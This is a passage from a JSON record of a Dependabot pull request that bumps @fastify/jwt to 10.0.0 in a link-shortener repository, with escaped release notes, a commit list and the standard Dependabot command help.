href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Improve performance by caching verifier (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/360\"\u003efastify/fastify-jwt#360\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(package): add funding and contribs by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/357\"\u003efastify/fastify-jwt#357\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use optional chaining by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/359\"\u003efastify/fastify-jwt#359\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: prefix unused params with underscores by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/361\"\u003efastify/fastify-jwt#361\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(readme): spelling and grammar fixes by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/362\"\u003efastify/fastify-jwt#362\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump fastify/workflows from 5.0.0 to 5.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/349\"\u003efastify/fastify-jwt#349\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update readme to clarify fastify version compatibility by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/350\"\u003efastify/fastify-jwt#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​fastify/cookie\u003c/code\u003e from 10.0.1 to 11.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/351\"\u003efastify/fastify-jwt#351\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Async key provider and errors should be resolved internally -- dynamic JWTs in tests by \u003ca href=\"https://github.com/jmjf\"\u003e\u003ccode\u003e@​jmjf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/338\"\u003efastify/fastify-jwt#338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: remove trailing whitespace by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/352\"\u003efastify/fastify-jwt#352\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/3567a1756198819f8142a961136d403d242f5847\"\u003e\u003ccode\u003e3567a17\u003c/code\u003e\u003c/a\u003e Prepare to release 10.0.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/e7580622518dbf8366b4d8f4c81e6c1e0d41e6db\"\u003e\u003ccode\u003ee758062\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.16.0 to 24.0.10 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/380\"\u003e#380\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/870af5b1477e58ee91ed90b285d95ef7f94de70b\"\u003e\u003ccode\u003e870af5b\u003c/code\u003e\u003c/a\u003e chore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/379\"\u003e#379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/4cbf5a541e3919b9e8ced30ce764095620a6bd78\"\u003e\u003ccode\u003e4cbf5a5\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/375\"\u003e#375\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/89aad693226de097d2e53623678854caedc31cfe\"\u003e\u003ccode\u003e89aad69\u003c/code\u003e\u003c/a\u003e build(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/374\"\u003e#374\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/8932cc9c99aa212fb469f69f5979c5c733f0df1c\"\u003e\u003ccode\u003e8932cc9\u003c/code\u003e\u003c/a\u003e ci: restore job level permissions (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/373\"\u003e#373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/09b5810e6e93a7e119632ed276e460bdf39cda76\"\u003e\u003ccode\u003e09b5810\u003c/code\u003e\u003c/a\u003e ci: set permissions at workflow level (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/372\"\u003e#372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/0811cf5953d1052e1543c7c2c572035dca962c1b\"\u003e\u003ccode\u003e0811cf5\u003c/code\u003e\u003c/a\u003e Bumped v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/523e7521b9b90f91335d9e40c9dd89a0064bfb32\"\u003e\u003ccode\u003e523e752\u003c/code\u003e\u003c/a\u003e fix: capture missingRequiredClaim errors and map to 401  (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/369\"\u003e#369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/2afec0298f85e557c32ecd8c69d6242aeefd9937\"\u003e\u003ccode\u003e2afec02\u003c/code\u003e\u003c/a\u003e perf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/371\"\u003e#371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v7.2.4...v10.0.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~kibertoad\"\u003ekibertoad\u003c/a\u003e, a new releaser for \u003ccode\u003e@​fastify/jwt\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Rassis7/ollo-link-shortener/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Rassis7/ollo-link-shortener/pull/30","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rassis7%2Follo-link-shortener/issues/30","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/30/packages"}}]}